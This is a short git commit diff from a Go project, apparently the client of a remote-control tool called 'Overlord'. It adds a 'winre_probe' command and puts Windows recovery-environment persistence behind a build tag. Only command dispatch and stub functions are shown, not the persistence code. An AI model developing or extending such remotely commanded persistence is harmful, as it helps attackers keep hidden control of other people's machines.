optional winre and winre probe

This commit is contained in:
KingKDot
2026-06-06 23:34:44 -05:00
parent bbb0d4b154
commit e9a61ecd9b
15 changed files with 134 additions and 27 deletions
@@ -2392,6 +2392,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "winre_probe":
if !WinRESupported() {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "WinRE persistence is not enabled on this client"})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "winre_uninstall":
if err := handleWinREUninstall(ctx, env, cmdID); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
@@ -1,5 +1,5 @@
//go:build !windows
// +build !windows
//go:build !windows || !overlord_winre
// +build !windows !overlord_winre
package handlers
@@ -11,9 +11,13 @@ import (
)
func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error {
return fmt.Errorf("WinRE persistence is only supported on Windows")
return fmt.Errorf("WinRE persistence is not enabled on this client")
}
func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error {
return fmt.Errorf("WinRE persistence is only supported on Windows")
return fmt.Errorf("WinRE persistence is not enabled on this client")
}
func WinRESupported() bool {
return false
}
@@ -1,5 +1,5 @@
//go:build windows
// +build windows
//go:build windows && overlord_winre
// +build windows,overlord_winre
package handlers
@@ -312,3 +312,7 @@ func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) e
}
return uninstallWinREPersistence()
}
func WinRESupported() bool {
return true
}